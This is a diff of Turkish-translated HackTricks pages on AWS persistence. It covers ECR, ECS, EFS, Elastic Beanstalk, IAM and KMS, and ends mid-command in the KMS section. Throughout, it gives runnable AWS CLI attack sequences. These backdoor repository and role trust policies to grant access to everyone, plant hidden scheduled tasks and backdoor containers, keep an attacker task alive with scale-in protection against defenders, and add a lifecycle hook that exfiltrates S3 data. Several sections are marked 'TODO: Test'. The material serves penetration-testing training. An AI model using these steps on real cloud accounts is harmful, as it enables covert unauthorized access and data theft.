Hesaplar arası çoğaltmayı yapılandırarak, bir kayıt defterini harici bir hesapta otomatik olarak çoğaltmak mümkündür; burada kayıt defterini çoğaltmak istediğiniz **harici hesabı** belirtmeniz gerekir.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Öncelikle, harici hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Sonra çoğaltma yapılandırmasını uygulayın:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
Bir attacker, kötü amaçlı kod içeren bir Docker image'ı bir ECR repository'sine upload edebilir ve bunu hedef AWS hesabında persistence sağlamak için kullanabilir. Attacker daha sonra bu kötü amaçlı image'ı hesap içindeki Amazon ECS veya EKS gibi çeşitli servislere gizli bir şekilde deploy edebilir.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Tek bir repository'ye kendinize (veya herkese) erişim veren bir policy ekleyin:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ECR, kullanıcıların bir kayıt defterine **kimlik doğrulaması yapabilmeden önce** ve herhangi bir Amazon ECR deposundan görüntüleri push veya pull edebilmeden önce IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sini çağırma **iznine** sahip olmalarını gerektirir.
|
||||
|
||||
### Kayıt Defteri Politikası & Hesaplar Arası Replikasyon
|
||||
|
||||
Hesaplar arası replikasyonu yapılandırarak, kayıt defterinin başka bir hesaba otomatik olarak çoğaltılmasını sağlayabilirsiniz; bu durumda kayıt defterini çoğaltmak istediğiniz **dış hesabı belirtmeniz** gerekir.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Önce, dış hesaba kayıt defteri üzerinde aşağıdaki gibi bir **kayıt defteri politikası** ile erişim vermeniz gerekir:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Ardından çoğaltma yapılandırmasını uygulayın:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (gelecekteki repolar için prefix backdoor)
|
||||
|
||||
Kontrollü bir prefix altında ECR tarafından otomatik oluşturulan herhangi bir repository'yi (örneğin Pull-Through Cache veya Create-on-Push ile) otomatik olarak backdoor eklemek için ECR Repository Creation Templates'i suistimal edin. Bu, mevcut repolara dokunmadan gelecekteki repolara kalıcı yetkisiz erişim sağlar.
|
||||
|
||||
- Gerekli izinler: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (template tarafından kullanılır), iam:PassRole (şablona özel bir role eklenmişse).
|
||||
- Etki: Hedeflenen prefix altında oluşturulan her yeni repository, otomatik olarak saldırgan tarafından kontrol edilen bir repository policy'sini (ör. hesaplar arası okuma/yazma), tag mutability ve scanning varsayılanlarını devralır.
|
||||
|
||||
<details>
|
||||
<summary>Seçilen bir prefix altında gelecekte PTC tarafından oluşturulan repoları backdoor'lama</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,93 +0,0 @@
|
||||
# AWS - ECS Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gizli Periyodik ECS Görevi
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Mevcut ECS Görev Tanımında Arka Kapı Konteyneri
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Bir saldırgan, meşru konteynerlerle birlikte çalışan mevcut bir ECS görev tanımına **gizli bir arka kapı konteyneri** ekleyebilir. Arka kapı konteyneri, kalıcılık sağlamak ve kötü niyetli faaliyetler gerçekleştirmek için kullanılabilir.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Belgesiz ECS Servisi
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. İstenen görev sayısını en aza indirerek ve günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi daha zor hale gelir.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,152 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Daha fazla bilgi için şu kaynağa bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Bir saldırgan, Amazon EventBridge kullanarak gizli bir periyodik ECS task oluşturabilir ve **kötü amaçlı bir görevin periyodik olarak çalıştırılmasını planlayabilir**. Bu görev reconnaissance gerçekleştirebilir, exfiltrate data yapabilir veya AWS hesabında persistence sağlayabilir.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Mevcut ECS task definition içinde Backdoor Container
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Bir saldırgan, meşru container'larla birlikte çalışan mevcut bir ECS task definition'a **stealthy backdoor container** ekleyebilir. Bu backdoor container persistence ve zararlı faaliyetler gerçekleştirmek için kullanılabilir.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Belgelenmemiş ECS Servisi
|
||||
|
||||
> [!NOTE]
|
||||
> Yapılacak: Test
|
||||
|
||||
Bir saldırgan kötü amaçlı bir task çalıştıran bir **belgelenmemiş ECS servisi** oluşturabilir. İstenen task sayısını minimuma ayarlayarak ve logging'i devre dışı bırakarak, yöneticilerin kötü amaçlı servisi fark etmesini zorlaştırır.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
ecs:UpdateTaskProtection'ı istismar ederek service tasks'ın scale‑in olayları ve kademeli dağıtımlar tarafından durdurulmasını engelleyin. Korumayı sürekli uzatarak, bir saldırgan uzun süre çalışan bir task'ı (C2 veya veri toplama için) çalışır durumda tutabilir; savunucular desiredCount'ı düşürse veya yeni task revisions gönderse/uygulasa bile.
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Etkisi: Korumalı bir task desiredCount=0 olmasına rağmen RUNNING durumda kalır ve yeni dağıtımlar sırasında yer değiştirmeleri engeller; bu, ECS service içinde gizli, uzun süreli bir kalıcılık sağlar.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kaynak Politikasını / Güvenlik Gruplarını Değiştir
|
||||
|
||||
**Kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz.
|
||||
|
||||
### Erişim Noktası Oluştur
|
||||
|
||||
**Erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), bu erişim noktası, dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy / Security Groups'i Değiştir
|
||||
|
||||
**resource policy and/or security groups**'ü değiştirerek dosya sistemi üzerindeki erişiminizi sürdürmeyi deneyebilirsiniz.
|
||||
|
||||
### Access Point Oluştur
|
||||
|
||||
Dosya sistemi üzerinde ayrıcalıklı erişimi korumak için, **other persistence** uyguladığınız bir servisten erişilebilen **create an access point** (with root access to `/`) oluşturabilirsiniz.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+14
-14
@@ -1,35 +1,35 @@
|
||||
# AWS - Elastic Beanstalk Sürekliliği
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Instance'da Süreklilik
|
||||
### Persistence in Instance
|
||||
|
||||
AWS hesabında sürekliliği sağlamak için, **instance içinde bazı süreklilik mekanizmaları tanıtılabilir** (cron işi, ssh anahtarı...) böylece saldırgan erişim sağlayabilir ve IAM rolü **kimlik bilgilerini metadata hizmetinden** çalabilir.
|
||||
AWS hesabı içinde persistence sağlamak için bazı **persistence mekanizmaları instance içine yerleştirilebilir** (cron job, ssh key...) böylece saldırgan buna erişip IAM rolünün **metadata service'den kimlik bilgilerini** çalabilir.
|
||||
|
||||
### Versiyonda Arka Kapı
|
||||
### Backdoor in Version
|
||||
|
||||
Bir saldırgan, S3 deposundaki kodu arka kapı ile değiştirebilir, böylece her zaman arka kapısını ve beklenen kodu çalıştırır.
|
||||
Bir saldırgan S3 repo içindeki koda backdoor ekleyebilir; böylece kod her zaman backdoor'unu ve beklenen kodu çalıştırır.
|
||||
|
||||
### Yeni Arka Kapılı Versiyon
|
||||
### New backdoored version
|
||||
|
||||
Saldırgan, mevcut versiyondaki kodu değiştirmek yerine, uygulamanın yeni bir arka kapılı versiyonunu dağıtabilir.
|
||||
Mevcut versiyondaki kodu değiştirmek yerine, saldırgan uygulamanın yeni bir backdoored versiyonunu deploy edebilir.
|
||||
|
||||
### Özel Kaynak Yaşam Döngüsü Kancalarının Suistimali
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri dışa aktarmak için periyodik olarak bir betik çalıştıracak şekilde bir yaşam döngüsü kancası yapılandırabilir**.
|
||||
Elastic Beanstalk, instance provisioning ve termination sırasında custom script'lerin çalıştırılmasına izin veren lifecycle hooks sağlar. Bir saldırgan **periyodik olarak veri exfiltrates eden veya AWS hesabına erişimi sürdüren bir script'i çalıştıracak şekilde bir lifecycle hook yapılandırabilir**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
@@ -72,4 +72,4 @@ Fn::GetAtt:
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Daha fazla bilgi için erişim:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Yaygın IAM Sürekliliği
|
||||
|
||||
- Bir kullanıcı oluştur
|
||||
- Kontrol edilen bir kullanıcıyı ayrıcalıklı bir gruba ekle
|
||||
- Erişim anahtarları oluştur (yeni kullanıcının veya tüm kullanıcıların)
|
||||
- Kontrol edilen kullanıcılara/gruplara ek izinler ver (ekli politikalar veya satır içi politikalar)
|
||||
- MFA'yı devre dışı bırak / Kendi MFA cihazını ekle
|
||||
- Bir Rol Zinciri Jonglör durumu oluştur (bununla ilgili daha fazla bilgi aşağıda STS sürekliliğinde)
|
||||
|
||||
### Arka Kapı Rol Güven Politikaları
|
||||
|
||||
Bir güven politikasını arka kapı ile kontrol ettiğiniz bir dış kaynak için üstlenebilmek amacıyla değiştirebilirsiniz (veya herkes için):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Arka Kapı Politikası Versiyonu
|
||||
|
||||
Bir politikaya son versiyonu olmayan Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
|
||||
|
||||
### Arka Kapı / Kimlik Sağlayıcı Oluştur
|
||||
|
||||
Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Bir kullanıcı oluşturun
|
||||
- Kontrol ettiğiniz bir kullanıcıyı ayrıcalıklı bir gruba ekleyin
|
||||
- Erişim anahtarları oluşturun (yeni kullanıcı için veya tüm kullanıcılar için)
|
||||
- Kontrol ettiğiniz kullanıcılar/gruplara ekstra izinler verin (attached policies or inline policies)
|
||||
- MFA'yı devre dışı bırakın / Kendi MFA cihazınızı ekleyin
|
||||
- Role Chain Juggling durumu oluşturun (aşağıda STS persistence bölümünde daha fazlası)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Kontrolünüzdeki harici bir kaynak için (veya herkese) onu assume edebilmek amacıyla bir trust policy'yi backdoor'layabilirsiniz:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Bir policy'nin son sürümü olmayan bir versiyonuna Administrator izinleri verin (son sürüm meşru görünmelidir), ardından o policy versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Hesap zaten yaygın bir identity provider'a (ör. Github) güveniyorsa, güvene ilişkin koşullar genişletilerek saldırganın bunları suistimal etmesi sağlanabilir.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS politikaları aracılığıyla erişim verme
|
||||
|
||||
Bir saldırgan, **`kms:PutKeyPolicy`** iznini kullanarak bir anahtara kontrolü altındaki bir kullanıcıya veya hatta bir dış hesaba **erişim verebilir**. Daha fazla bilgi için [**KMS Privesc sayfasını**](../aws-privilege-escalation/aws-kms-privesc.md) kontrol edin.
|
||||
|
||||
### Sonsuz İzin
|
||||
|
||||
İzinler, bir anahtar üzerinde bir prensibe bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Dahası, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olabilir.
|
||||
|
||||
Bu nedenle, bir kullanıcının tüm izinlere sahip 10 izni olması mümkündür. Saldırgan bunun sürekli olarak izlenmesi gerektiğini bilmelidir. Ve eğer bir noktada 1 izin kaldırılırsa, başka 10 izin oluşturulmalıdır.
|
||||
|
||||
(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahipken bir iznin kaldırıldığını tespit edebilmek için.)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
